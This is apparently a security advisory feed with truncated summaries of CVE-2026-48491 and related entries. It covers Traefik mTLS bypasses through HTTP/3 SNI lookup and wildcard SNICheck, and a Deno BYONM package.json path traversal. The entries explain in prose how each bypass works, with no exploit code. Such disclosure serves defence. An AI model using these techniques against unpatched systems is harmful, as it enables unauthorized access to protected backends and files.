Traefik is an HTTP reverse proxy and load balancer. Prior to 3.7.3, there is a critical vulnerability in Traefik's HTTP/3 QUIC TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake...

CVE-2026-48491

CVE-2026-48491 (Traefik) describes a high-severity vulnerability in Traefik 3.7.0–3.7.3 where SNICheck ignores wildcard TLSOptions mappings. An unauthenticated client can complete a TLS handshake with a permissive SNI on the same entrypoint and then send a Host header targeting a wildcard-protect...

CVE-2026-49406

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.7.12, when Deno was run in BYONM mode nodeModulesDir: "manual", the module resolver did not validate that a package's resolved entrypoint stayed within its nodemodules// directory. A malicious package.json whose main field...

Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Summary There is a critical vulnerability in Traefik's HTTP/3 QUIC TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact,...

Authentication Bypass Using an Alternate Path or Channel

Overview Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel in the TLS configuration selection process for HTTP/3 connections, where an exact, case-sensitive lookup on the SNI value fails to match wildcard or mixed-case hostnames. An...

Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions

Summary When Deno was run in BYONM mode nodeModulesDir: "manual", the module resolver did not validate that a package's resolved entrypoint stayed within its nodemodules// directory. A malicious package.json whose main field contained .. segments was able to resolve to an arbitrary path on disk,...

Authentication Bypass Using an Alternate Path or Channel

Overview Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel in the SNICheck process. An attacker can gain unauthorized access to protected backends by completing a TLS handshake using a permissive SNI and then sending an HTTP Host header...

GHSA-5R4W-85F3-PW66 Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass

Summary There is a high severity vulnerability in Traefik's domain-fronting protection SNICheck that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host.example.com with stricter TLS options for...
